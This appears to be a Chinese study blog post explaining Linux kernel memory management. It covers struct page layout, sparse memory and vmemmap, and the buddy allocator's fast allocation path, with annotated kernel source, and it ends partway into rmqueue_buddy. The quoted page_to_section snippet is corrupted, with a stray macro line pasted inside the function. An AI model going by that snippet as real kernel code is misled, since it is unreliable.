unsigned long _pp_mapping_pad;
unsigned long dma_addr;
union {
/**
* dma_addr_upper: might require a 64-bit
* value on 32-bit architectures.
*/
unsigned long dma_addr_upper;
/**
* For frag page support, not supported in
* 32-bit architectures with 64-bit DMA.
*/
atomic_long_t pp_frag_count;
};
};// 以上是情况2
struct {// 表明是compound_page的tail page
unsigned long compound_head; /* Bit zero is set */
// 这里指向head page,但是,最地位设置为1,表明来表示这是个tial page
// 因此,其他情况下,需要避免第一个字节的最低位是1,从而与tial page相混淆
};// 情况3
struct {// 表明是ZONE_DEVICE的page
/** @pgmap: Points to the hosting device page map. */
struct dev_pagemap *pgmap;
void *zone_device_data;
};// 情况4

/** @rcu_head: You can use this to free a page by RCU. */
struct rcu_head rcu_head;
};

union { /* This union is 4 bytes in size. */
// 如果被映射到了用户态,记录mapcount
atomic_t _mapcount;

unsigned int page_type;
};

/* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */
atomic_t _refcount;

#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif

#if defined(WANT_PAGE_VIRTUAL)
void *virtual; /* Kernel virtual address (NULL if
not kmapped, ie. highmem) */
#endif /* WANT_PAGE_VIRTUAL */

#ifdef CONFIG_KMSAN
struct page *kmsan_shadow;
struct page *kmsan_origin;
#endif

#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
int _last_cpupid;
#endif
} _struct_page_alignment;

slub系统的slub结构实际上是复用page结构体中的byte。

他有几个部分:

  1. flag,标识page的不同状态
  2. union,40个byte,在不同情况下有不同的表示,此外,slab系统slab结构,也在复用的这部分
  3. mapcount和pagetype的union
  4. refcount
  5. 其他可选字段

我们在上文分析了2的union,这里着重讨论这个union的两种情况:

  1. 是compound page的tail page的情况

作为compound page,meta data只需要在head上保存,而除了head以外所有的都是tail page,他们的compund_head指向compound page的head page的page结构体,并且,compund_head的最低位,标识了这个页是否是tail page,为了与此区分,其他union情况的第一个字节的最低位,正常情况都不应该是1,因为会与tail page混淆。此外,我们将在后面谈到page的排布,以及与物理内存的对应,现在,我们可以先认为compound page,都是放在一起的页面,page结构体相邻。

但是需要注意的是,尽管buddy和compound page的概念很像,但是buddy中的页面其实并没有被设置成compound page,因为buddy查找对应的伙伴节点,可以直接靠pfn计算,不需要使用compound head去管理,而离开buddy system后,如果设置了对应的flag,可能会将返回的page设置为compound page,在5.16以上的kernel,可以通过folio管理compound page,我们会在之后谈到folio。

1
2
3
4
5
6
7
8
9
10
11
12
13
compound page (order = n)
┌─────────────────────┐
│ struct page [0] │ ← 这是 Head Page(头页)
│ • 保存元数据 │
│ • compound_head标志│
│ • refcount 有效 │
│ • mapping/index 等 │
└─────────────────────┘
│ struct page [1] │ ← Tail Page 1(尾页)
│ struct page [2] │ ← Tail Page 2
│ ... │
│ struct page [2^n-1] │ ← Tail Page 最后一个
└─────────────────────┘
  1. 是匿名页或者page cache的情况

buddy system中的页面就由这种情况的struct管理

我们继续关注其中的union如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
union {
struct list_head lru;

/* Or, for the Unevictable "LRU list" slot */
struct {
/* Always even, to negate PageTail */
void *__filler;
/* Count page's or folio's mlocks */
unsigned int mlock_count;
};

/* Or, free page */
struct list_head buddy_list;
struct list_head pcp_list;
};

这个union刻画了page被管理的不同状态,可能是被buddy system管理,即在free_area列表中。或者在zone的pcblist中。

如果是在 buddy system管理中,我们知道前文的free_area是一个 list_head 数组,其中的list_head指向struct pagebuddy_list成员,最终会通过 buddy_liststruct page 中的偏移找到对应 struct page 。当在高order时,被管理的是一个compound page,只需要找到对应的首个page即可,因为page是连续管理的。

并且,当被buddy system管理时,page_type是PageBuddy,private是order。

但是,在此时,我们仍然存在问题:

  • Q1: 既然page是用来管理物理页面的,如何将page结构体与物理页面对应呢?
  • Q2:zone中只是一个链表指针,page结构体实际存储在哪呢?
    我们在下文中进行探究。

Sparse memory 与 虚拟内存

我们得到了linux物理内存的节点->区->页面的内存管理体系,此外,我们还需要在补充一些细节,讨论linux的sparse内存模型。

在linux内存管理中,有Flat Memory、Discontiguous Memory、Sparse Memory三种内存模型,最常用的是Sparse Memory,因为其支持内存热插拔。

Pasted-image-20250116231835.png

在稀疏内存结构下,page结构体的管理大致如图:
Pasted-image-20250116235837.png
然后,我们谈论上面的问题,我们知道page与物理页对应,那么,linux什么来表征一个物理页呢?答案是pfn,一个pfn唯一对应一个特定物理地址的物理页面,因此page与唯一的pfn对应,在Sparse Memory内存模型中,采用如下的宏进行转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#elif defined(CONFIG_SPARSEMEM)
/*
* Note: section's mem_map is encoded to reflect its start_pfn.
* section[i].section_mem_map == mem_map's address - start_pfn;
*/
#define __page_to_pfn(pg) \
({ const struct page *__pg = (pg); \
int __sec = page_to_section(__pg); \
(unsigned long)(__pg - __section_mem_map_addr(__nr_to_section(__sec))); \
})

#define __pfn_to_page(pfn) \
({ unsigned long __pfn = (pfn); \
struct mem_section *__sec = __pfn_to_section(__pfn); \
__section_mem_map_addr(__sec) + __pfn; \
})
#endif /* CONFIG_FLATMEM/SPARSEMEM */

__page_to_pfn 中,首先通过page_to_section ,从page结构体的flag字段中获取section编号:

1
2
3
4
5
6
7
8
9
static inline unsigned long page_to_section(const struct page *page)
{
​/*
* Note: section's mem_map is encoded to reflect its start_pfn.
* section[i].section_mem_map == mem_map's address - start_pfn;
*/
#define __page_to_pfn(pg) \
return (page->flags >> SECTIONS_PGSHIFT) & SECTIONS_MASK;
}

然后使用 __nr_to_section 获取对应的mem_section结构体的地址,实际上就是根据idx从全局的二维mem_section数组中,获取对应的mem_section:

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline struct mem_section *__nr_to_section(unsigned long nr)
{
unsigned long root = SECTION_NR_TO_ROOT(nr);

if (unlikely(root >= NR_SECTION_ROOTS))
return NULL;

#ifdef CONFIG_SPARSEMEM_EXTREME
if (!mem_section || !mem_section[root])
return NULL;
#endif
return &mem_section[root][nr & SECTION_ROOT_MASK];
}

mem_section结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct mem_section {
/*
此处,逻辑上是一个指向pages结构体数组的的指针,然而,这里有一些其他的魔法
(见sparse.c::sparse_init_one_section())

此外,在启动早期,我们将此节区位置的node id编码用来指导分配
(见 sparse.c::memory_present())

让它是一个unsigned long可以让其在被错误使用前至少经历一次类型转换
*/
unsigned long section_mem_map;

struct mem_section_usage *usage;
#ifdef CONFIG_PAGE_EXTENSION
/*
* If SPARSEMEM, pgdat doesn't have page_ext pointer. We use
* section. (see page_ext.h about this.)
*/
struct page_ext *page_ext;
unsigned long pad;
#endif
// mem_section数组必须是2 的指数幂对齐,方便运算
};

根据注释,我们可以知道,在稀疏内存模型下,mem_section的section_mem_map 字段,实际上经过了如下编码,实际上存储的是对应page结构体与pfn的差值

1
2
3
4
5
6
7
8
static unsigned long sparse_encode_mem_map(struct page *mem_map, unsigned long pnum)
{
unsigned long coded_mem_map =
(unsigned long)(mem_map - (section_nr_to_pfn(pnum)));
BUILD_BUG_ON(SECTION_MAP_LAST_BIT > PFN_SECTION_SHIFT);
BUG_ON(coded_mem_map & ~SECTION_MAP_MASK);
return coded_mem_map;
}

最终通过(unsigned long)(__pg - __section_mem_map_addr(__nr_to_section(__sec))); 计算得到pfn。

这是在仅仅考虑Sparse memory的情形,常见linux往往会开启Sparse memory的vmemmap支持:

Pasted-image-20250117000512.png
vmemmap如何工作呢?通过前面的virtual memory map我们可以知道,内核虚拟空间存在一个vmemmap区域,这个区域实际上是内核page数组所在的页面的一个重映射(通过页表重新映射对应的物理内存),他将struct page按照对应的物理页的顺序排列(对于空洞增加空洞映射,简而言之就是通过非线性映射将page数组还原成类似平坦内存的状态),使得内核page和pfn的转换可以像平坦内存一样简单,又避免了平坦内存模型下内存空洞导致内存使用开销,此时,转换如下:

1
2
3
4
5
#elif defined(CONFIG_SPARSEMEM_VMEMMAP)

/* memmap is virtually contiguous. */
#define __pfn_to_page(pfn) (vmemmap + (pfn))
#define __page_to_pfn(page) (unsigned long)((page) - vmemmap)

直接使用 (struct page *)vmemmappfn 加减即可。

我们再谈论一个问题,我们知道,page结构体是用来管理物理内存的,但是,当内核进入正常运行状态时,所有的访问都要经过mmu的转换,因此,无法直接访问物理内存,此时,对于物理内存的访问实际上是通过direct mapping arena实现的,direct mapping area是直接对于物理内存进行了线性映射,因此,和物理地址实际上只存在一个offset的差距, 而在struct page 中存在virtual字段,此字段指向对应的物理页在direct mapping arena的虚拟地址,因此,无论是buddy system 还是slub系统,返回的地址实际上都是direct mapping arena的虚拟地址,因此,direct mapping arena也就是实际上的内核堆区。

由此,我们也知道了direct mapping arena的作用:作为物理内存的线性映射,他简化了在mmu和虚拟内存已经启用的情况下,对于物理内存的管理和访问。

最终我们也就回答了上述的问题。

va、pa、与struct page的转换

由上文我们得到了struct page 与物理页框号PFN的关系。而物理页框号表示唯一的物理页:

1
2
// 物理内存转换为PFN
#define PHYS_PFN(x) ((unsigned long)((x) >> PAGE_SHIFT))

与此同时,内核还存在着两个宏 __va__pa 用于虚拟地址和物理地址之间转换:

1
#define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))

由于有了 direct mapping area的存在, __va__pa 之间的转换实际上就是加减一个PAGE_OFFSET,此PAGE_OFFSET实际上就是direct mapping area的基地址。

buddy system

查询API

1
2
3
4
[~]$ cat /proc/buddyinfo
Node 0, zone DMA 1 1 1 1 1 1 1 1 2 0 0
Node 0, zone DMA32 7049 5013 4149 3418 2186 1083 196 6 0 0 0
Node 0, zone Normal 8879 3409 3748 2292 1775 769 259 101 25 27 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[~]$ sudo cat /proc/pagetypeinfo
[sudo] password for nemo:
Page block order: 9
Pages per block: 512

Free pages count per migrate type at order 0 1 2 3 4 5 6 7 8 9 10
Node 0, zone DMA, type Unmovable 0 0 0 0 0 0 0 0 1 0 0
Node 0, zone DMA, type Movable 1 1 1 1 1 1 1 1 1 0 0
Node 0, zone DMA, type Reclaimable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type CMA 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Unmovable 635 518 383 262 97 48 4 0 0 0 0
Node 0, zone DMA32, type Movable 5605 4456 3728 3131 2075 1027 184 4 0 0 0
Node 0, zone DMA32, type Reclaimable 832 102 42 28 14 8 8 2 0 0 0
Node 0, zone DMA32, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type CMA 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Unmovable 1 0 15 1011 449 221 80 25 7 4 1
Node 0, zone Normal, type Movable 3360 6057 3610 1762 1326 547 171 70 18 26 4
Node 0, zone Normal, type Reclaimable 1286 3 1 3 1 1 1 3 1 0 0
Node 0, zone Normal, type HighAtomic 0 0 0 0 0 0 0 0 0 1 0
Node 0, zone Normal, type CMA 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Isolate 0 0 0 0 0 0 0 0 0 0 0

Number of blocks type Unmovable Movable Reclaimable HighAtomic CMA Isolate
Node 0, zone DMA 2 6 0 0 0 0
Node 0, zone DMA32 76 1093 297 0 0 0
Node 0, zone Normal 869 4928 588 1 0 0

分配的路径

Pasted-image-20251003113007.png
__alloc_pages 是页面实际分配的函数,其中有两个路径。一个是get_page_from_freelist 用于快路径分配,当此分配失败,会走 __alloc_pages_slowpath 的慢路径分配,此路径会重新整理内存,然后再次走快路径分配。

rmqueue 也有两个路径,快路径是 rmqueue_pcplist ,从zone的pcblist中脱链,如果pcblist为空,会走 __rmqueue 从buddy system中请求页面。 rmqueue_buddy 用于从buddy system分配,最终调用的 _rmqueue_smallset 是从free_area实际分配的函数

__alloc_pages | 页面的分配

alloc_pages 是buddy system的核心分配函数,过去的版本这个函数是 __alloc_pages_nodemask , 在这个commit 这两个函数被合并了, 此API用于分配页面,参数如下:

  • gfp : 分配的flag
  • unsigned int order : 分配的页框数量是 2^order 个连续页。例如,order=0 分配 1 个页,order=1 分配 2 个页。
  • int preferred_nid : NUMA 节点偏好,指定从哪个节点分配内存。
  • nodemask_t *nodemask : 指定可接受的 NUMA 节点集合。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct page *__alloc_pages(gfp_t gfp, unsigned int order, int preferred_nid,
nodemask_t *nodemask)
{
struct page *page;
unsigned int alloc_flags = ALLOC_WMARK_LOW;
gfp_t alloc_gfp; /* The gfp_t that was actually used for allocation */
struct alloc_context ac = { };
if (WARN_ON_ONCE_GFP(order > MAX_ORDER, gfp))
return NULL;


gfp &= gfp_allowed_mask;
gfp = current_gfp_context(gfp);
alloc_gfp = gfp;
if (!prepare_alloc_pages(gfp, order, preferred_nid, nodemask, &ac,
&alloc_gfp, &alloc_flags))
return NULL;

alloc_flags |= alloc_flags_nofragment(ac.preferred_zoneref->zone, gfp);

page = get_page_from_freelist(alloc_gfp, order, alloc_flags, &ac);
if (likely(page))
goto out;

alloc_gfp = gfp;
ac.spread_dirty_pages = false;

ac.nodemask = nodemask;

page = __alloc_pages_slowpath(alloc_gfp, order, &ac);

out:
if (memcg_kmem_online() && (gfp & __GFP_ACCOUNT) && page &&
unlikely(__memcg_kmem_charge_page(page, gfp, order) != 0)) {
__free_pages(page, order);
page = NULL;
}

trace_mm_page_alloc(page, order, alloc_gfp, ac.migratetype);
kmsan_alloc_page(page, order, alloc_gfp);

return page;
}
EXPORT_SYMBOL(__alloc_pages);
  1. 边界检查
1
2
if (WARN_ON_ONCE_GFP(order > MAX_ORDER, gfp))
return NULL;
  • 检查 order 是否超过 MAX_ORDER(内核定义的最大支持 order 值)。
  • 如果超过,则触发警告并返回 NULL,避免非法的内存分配请求。
  1. 限制 GFP 标志
1
2
3
Copy code
gfp &= gfp_allowed_mask;
gfp = current_gfp_context(gfp);

使用 gfp_allowed_mask 限制传入的 gfp 标志,确保符合当前上下文的分配约束。主要用于启动早期判断当前中断是否启用,或者休眠时对I/O进行判断。
调用 current_gfp_context() 应用如 GFP_NOFSGFP_NOIO 的上下文约束。

  1. 准备分配上下文
1
2
3
if (!prepare_alloc_pages(gfp, order, preferred_nid, nodemask, &ac,
&alloc_gfp, &alloc_flags))
return NULL;

调用 prepare_alloc_pages() 初始化分配上下文(struct alloc_context),确定要分配的区域(zone),并设置分配标志(alloc_flags)和 NUMA 节点偏好。
如果上下文初始化失败,则返回 NULL。

  1. 首次尝试分配内存
1
2
3
page = get_page_from_freelist(alloc_gfp, order, alloc_flags, &ac);
if (likely(page))
goto out;

调用 get_page_from_freelist() 尝试从空闲链表分配内存。
如果成功找到空闲页,直接跳转到 out 标签返回。

  1. 处理分配失败
1
2
3
4
alloc_gfp = gfp;
ac.spread_dirty_pages = false;
ac.nodemask = nodemask;
page = __alloc_pages_slowpath(alloc_gfp, order, &ac);

如果第一次尝试失败,进入慢路径分配(__alloc_pages_slowpath())。
在慢路径中,可能尝试其他区域、其他迁移类型或触发回收机制。

  1. 内存控制组(cgroup)处理
1
2
3
4
5
if (memcg_kmem_online() && (gfp & __GFP_ACCOUNT) && page &&
unlikely(__memcg_kmem_charge_page(page, gfp, order) != 0)) {
__free_pages(page, order);
page = NULL;
}

如果内存控制组(memcg)启用并且需要对页进行记账(__GFP_ACCOUNT 标志),尝试对分配的页进行计费。
如果记账失败,则释放已分配的页。

  1. 调试与跟踪
1
2
trace_mm_page_alloc(page, order, alloc_gfp, ac.migratetype);
kmsan_alloc_page(page, order, alloc_gfp);

trace_mm_page_alloc():用于调试分配事件。
kmsan_alloc_page():用于Kernel Memory Sanitizer。

prepare_alloc_pages | 准备分配context

此函数主要用于准备分配的alloc_context 结构体,参数如下:

  • gfp_t gfp_mask : GFP 分配标志,用于控制分配行为(如是否阻塞、是否允许回收等)。
  • unsigned int order : 分配页框的数量(2^order 个连续页)。
  • int preferred_nid : 优先的 NUMA 节点。
  • nodemask_t *nodemask : 可接受的 NUMA 节点掩码。
  • struct alloc_context *ac : 分配上下文,用于存储分配时的关键参数,例如优先区域、节点掩码等。
  • gfp_t *alloc_gfp : 存储分配操作时实际使用的 gfp 标志。
  • unsigned int *alloc_flags : 存储额外的分配标志,例如 NUMA 相关标志。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static inline bool prepare_alloc_pages(gfp_t gfp_mask, unsigned int order,
int preferred_nid, nodemask_t *nodemask,
struct alloc_context *ac, gfp_t *alloc_gfp,
unsigned int *alloc_flags)
{
ac->highest_zoneidx = gfp_zone(gfp_mask);
ac->zonelist = node_zonelist(preferred_nid, gfp_mask);
ac->nodemask = nodemask;
ac->migratetype = gfp_migratetype(gfp_mask);

if (cpusets_enabled()) {
*alloc_gfp |= __GFP_HARDWALL;
/*
* When we are in the interrupt context, it is irrelevant
* to the current task context. It means that any node ok.
*/
if (in_task() && !ac->nodemask)
ac->nodemask = &cpuset_current_mems_allowed;
else
*alloc_flags |= ALLOC_CPUSET;
}

might_alloc(gfp_mask);

if (should_fail_alloc_page(gfp_mask, order))
return false;

*alloc_flags = gfp_to_alloc_flags_cma(gfp_mask, *alloc_flags);

/* Dirty zone balancing only done in the fast path */
ac->spread_dirty_pages = (gfp_mask & __GFP_WRITE);

/*
* The preferred zone is used for statistics but crucially it is
* also used as the starting point for the zonelist iterator. It
* may get reset for allocations that ignore memory policies.
*/
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->highest_zoneidx, ac->nodemask);

return true;
}

核心部分是通过如何代码获取对应的zonelist:

1
2
3
4
static inline struct zonelist *node_zonelist(int nid, gfp_t flags)
{
return NODE_DATA(nid)->node_zonelists + gfp_zonelist(flags);
}

然后在最后使用 first_zones_zonelist()zonelist 中选择首选区域,其基于 highest_zoneidxnodemask 筛选,并返回找到的第一个分配的zone

get_page_from_freelist | 页面分配的快路径

(偷的图)

Pasted-image-20250116110008.png

get_page_from_freelist 是内存分配的 “快速路径”,在指定的分配上下文(alloc_context)中,根据区域链表(zonelist)、分配标志(alloc_flags)和分配条件,尝试找到合适的空闲页面。参数如下:

  • gfp_mask
    • GFP 分配标志,控制分配行为,例如是否允许阻塞、是否允许回收。
  • order
    • 分配页面的阶数,即连续页面的数量为 2^order
  • alloc_flags
    • 额外的分配标志,例如是否避免碎片化(ALLOC_NOFRAGMENT)、是否使用高阶分配(ALLOC_HIGHATOMIC)。
  • struct alloc_context *ac
    • 分配上下文,包含:
      • zonelist:要遍历的区域链表。
      • highest_zoneidx:允许分配的最高内存区域。
      • nodemask:NUMA 节点限制。
      • migratetype:迁移类型。

此函数核心是一个循环,此循环遍历nodelist的所有zone:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
static struct page *
get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags,
const struct alloc_context *ac)
{
struct zoneref *z;
struct zone *zone;
struct pglist_data *last_pgdat = NULL;
bool last_pgdat_dirty_ok = false;
bool no_fallback;

retry:

no_fallback = alloc_flags & ALLOC_NOFRAGMENT;
z = ac->preferred_zoneref;
for_next_zone_zonelist_nodemask(zone, z, ac->highest_zoneidx,
ac->nodemask) {
// 从z(preferred zone)开始遍历
// 并且对应的内存节点的掩码位要设置为处理状态
struct page *page;
unsigned long mark;

if (cpusets_enabled() &&
(alloc_flags & ALLOC_CPUSET) &&
!__cpuset_zone_allowed(zone, gfp_mask))
continue;

/*
当分配一个用于写的页面时,我们需要满足node的脏页限制,

*/
if (ac->spread_dirty_pages) {
if (last_pgdat != zone->zone_pgdat) {
last_pgdat = zone->zone_pgdat;
last_pgdat_dirty_ok = node_dirty_ok(zone->zone_pgdat);
}

if (!last_pgdat_dirty_ok)
continue;
}
// 如果node不是preferred_zoneref
if (no_fallback && nr_online_nodes > 1 &&
zone != ac->preferred_zoneref->zone) {
int local_nid;

// 比对当前 zone 是否在 local node(就是离当前CPU最近那个 node)
// 若否,则去掉 ALLOC_NOFRAGMENT 标志位,并从 preferred zone 开始重试。
// 即:kernel 更倾向于优先从 local zone 进行分配,哪怕会产生内存碎片
local_nid = zone_to_nid(ac->preferred_zoneref->zone);
if (zone_to_nid(zone) != local_nid) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}
}
// accepted是对于一些虚拟机平台启动的支持
// 某些虚拟机平台(例如 Intel TDX)需要客户机“accept”一些内存才能使用。此机制有助于防止恶意主机对来宾内存进行更改。
//
cond_accept_memory(zone, order);
// 获取当前 zone 的水位线标记
mark = wmark_pages(zone, alloc_flags & ALLOC_WMARK_MASK);
if (!zone_watermark_fast(zone, order, mark,
ac->highest_zoneidx, alloc_flags,
gfp_mask)) {
int ret;

if (cond_accept_memory(zone, order))
goto try_this_zone;

#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/*
* 该 zone 的水位线失败, 但若其包含了 deferred pages,
* 则我们会看该 zone 是否还能再进行扩展
*/
if (deferred_pages_enabled()) {
if (_deferred_grow_zone(zone, order))
goto try_this_zone;
}
#endif
/* Checked here to keep the fast path fast */
BUILD_BUG_ON(ALLOC_NO_WATERMARKS < NR_WMARK);
// 如果有不检查水位线标记
if (alloc_flags & ALLOC_NO_WATERMARKS)
goto try_this_zone;

if (!node_reclaim_enabled() ||
!zone_allows_reclaim(ac->preferred_zoneref->zone, zone))
continue;
// 页面回收
ret = node_reclaim(zone->zone_pgdat, gfp_mask, order);
switch (ret) {
case NODE_RECLAIM_NOSCAN:
/* did not scan */
continue;
case NODE_RECLAIM_FULL:
/* scanned but unreclaimable */
continue;
default:
/* did we reclaim enough */
if (zone_watermark_ok(zone, order, mark,
ac->highest_zoneidx, alloc_flags))
goto try_this_zone;

continue;
}
}

try_this_zone:
// 正式在目标node上进行buddy system的分配
page = rmqueue(ac->preferred_zoneref->zone, zone, order,
gfp_mask, alloc_flags, ac->migratetype);
if (page) {
prep_new_page(page, order, gfp_mask, alloc_flags);
// 为分配的page做一些调整
/*
* 如果是一个 high-order的原子分配
* 检查是否需要保留锁
*/
if (unlikely(alloc_flags & ALLOC_HIGHATOMIC))
reserve_highatomic_pageblock(page, zone);

return page; // 找到了对应page, 返回
} else {
if (cond_accept_memory(zone, order))
goto try_this_zone;

#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/* Try again if zone has deferred pages */
// 如果有deferred pages,重新尝试
if (deferred_pages_enabled()) {
if (_deferred_grow_zone(zone, order))
goto try_this_zone;
}
#endif
}
}

/*
* It's possible on a UMA machine to get through all zones that are
* fragmented. If avoiding fragmentation, reset and try again.
*/
if (no_fallback) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}

return NULL;
}

综上所述,本函数:

  1. 从preferred_zoneref遍历到highest_zoneidx,找到所有符合的nodemask的zone
  2. 对于zone进行一些判断,包括cpu_enable 和水位线等
  3. 如果找到了符合条件的zone,调用rmqueue 进行buddy system的分配

prep_new_page | 分配后的设置工作

prep_new_pageget_page_from_freelist中被调用,当获取到page后,会使用此函数对于page进行一些设置,我们主要是关注compound_page的设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void prep_new_page(struct page *page, unsigned int order, gfp_t gfp_flags,
unsigned int alloc_flags)
{
post_alloc_hook(page, order, gfp_flags);

if (order && (gfp_flags & __GFP_COMP))
prep_compound_page(page, order);

/*
* page is set pfmemalloc when ALLOC_NO_WATERMARKS was necessary to
* allocate the page. The expectation is that the caller is taking
* steps that will free more memory. The caller should avoid the page
* being used for !PFMEMALLOC purposes.
*/
if (alloc_flags & ALLOC_NO_WATERMARKS)
set_page_pfmemalloc(page);
else
clear_page_pfmemalloc(page);
}

这个设置在分配后,因此我们可以知道,buddy system管理的时候,尽管是一组页面进行管理,但是其实其并没有设置为compound page,因为可以直接通过pfn查找buddy。

rmqueue | buddy system的真正分配

1
2
3
4
5
6
7
rmqueue
-->rmqueue_pcplist
-->__rmqueue_pcplist
-->rmqueue_buddy
-->__rmqueue_smallest
-->__rmqueue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct page *rmqueue(struct zone *preferred_zone,
struct zone *zone, unsigned int order,
gfp_t gfp_flags, unsigned int alloc_flags,
int migratetype)
{
struct page *page;

/*
* We most definitely don't want callers attempting to
* allocate greater than order-1 page units with __GFP_NOFAIL.
*/
// 不可以允许分配order大于1且有__GFP_NOFAIL
WARN_ON_ONCE((gfp_flags & __GFP_NOFAIL) && (order > 1));
// 如果order为pcp_allowed (一般就是order为0)
if (likely(pcp_allowed_order(order))) {
// 直接从pcplist分配
page = rmqueue_pcplist(preferred_zone, zone, order,
migratetype, alloc_flags);
if (likely(page))
goto out;
}
// 否则从buddy system分配
page = rmqueue_buddy(preferred_zone, zone, order, alloc_flags,
migratetype);

out:
/* Separate test+clear to avoid unnecessary atomics */
if ((alloc_flags & ALLOC_KSWAPD) &&
unlikely(test_bit(ZONE_BOOSTED_WATERMARK, &zone->flags))) {
clear_bit(ZONE_BOOSTED_WATERMARK, &zone->flags);
wakeup_kswapd(zone, 0, 0, zone_idx(zone));
}

VM_BUG_ON_PAGE(page && bad_range(zone, page), page);
return page;
}
  1. 如果order为pcb_allowd (一般就是order为0),直接从pcblist分配
  2. 否则从buddy system分配
rmqueue_pcplist | 从pcplist分配

rmqueue_pcplist 负责从每 CPU 页面的缓存(Per-CPU Pageset,简称 PCP)中分配页面。当内核需要分配页面时,它会首先尝试从 PCP 中获取,这种机制能够减少锁的争用和全局的内存管理开销,从而提升性能。

[!info]
ref: https://lwn.net/Articles/884448/
介绍一下PCP(per cpu pageset), 这是一个per cpu变量。具体来说,内存管理子系统在每个 CPU 中保存一个空闲页面列表(一个简单的抽象)。每当给定的 CPU 需要分配页面时,它首先在其每个 per-CPU list从那里获取可用的页面。当该 CPU 释放页面时,会将其放回per-CPU list中。通过这种方式,可以满足许多页面分配器请求,而无需对任何全局数据结构进行写访问,从而大大加快速度。快速重用本地 CPU 上高速缓存热的页面也有帮助。

当面临内存压力时,内存管理子系统会让每个CPU释放per-CPU list中的页面以供全局使用

当前进程通过当前的GS指针可以访问到当前进程的per cpu段,因此,gs指针实际上存在很多可以利用的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct page *rmqueue_pcplist(struct zone *preferred_zone,
struct zone *zone, unsigned int order,
int migratetype, unsigned int alloc_flags)
{
struct per_cpu_pages *pcp;
struct list_head *list;
struct page *page;
unsigned long __maybe_unused UP_flags;

/* spin_trylock may fail due to a parallel drain or IRQ reentrancy. */
// 获取pcp自旋锁
pcp_trylock_prepare(UP_flags);
pcp = pcp_spin_trylock(zone->per_cpu_pageset);
if (!pcp) {
pcp_trylock_finish(UP_flags);
return NULL;
}

/*
* On allocation, reduce the number of pages that are batch freed.
* See nr_pcp_free() where free_factor is increased for subsequent
* frees.
*/
// 减半free_factor
pcp->free_factor >>= 1;
// 获取 PCP 中与当前分配请求对应的链表。
list = &pcp->lists[order_to_pindex(migratetype, order)];
// 获取对应的page结构体
page = __rmqueue_pcplist(zone, order, migratetype, alloc_flags, pcp, list);
pcp_spin_unlock(pcp);
pcp_trylock_finish(UP_flags);
if (page) {
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order);
zone_statistics(preferred_zone, zone, 1);
}
return page;
}

然后调用了__rmqueue_pcplist 从pcplist取页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static inline
struct page *__rmqueue_pcplist(struct zone *zone, unsigned int order,
int migratetype,
unsigned int alloc_flags,
struct per_cpu_pages *pcp,
struct list_head *list)
{
struct page *page;

do {
if (list_empty(list)) {
// 检测是否为空
int batch = READ_ONCE(pcp->batch);
int alloced;

if (batch > 1)
batch = max(batch >> order, 2);
alloced = rmqueue_bulk(zone, order,
batch, list,
migratetype, alloc_flags);
// 如果为空,使用rmqueue_bulk从buddy system拿页面
// 为 pcplist 进行 `pcp->batch` 次的 order-0 的页面分配,并建立链表
pcp->count += alloced << order;
if (unlikely(list_empty(list)))
return NULL;
}

page = list_first_entry(list, struct page, pcp_list);
// 列表脱链
list_del(&page->pcp_list);
pcp->count -= 1 << order;
} while (check_new_pages(page, order));
// 使用check new pages 进行检查

return page;
}
rmqueue_buddy | buddy_system的分配

用于正常的从buddy system分配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static __always_inline
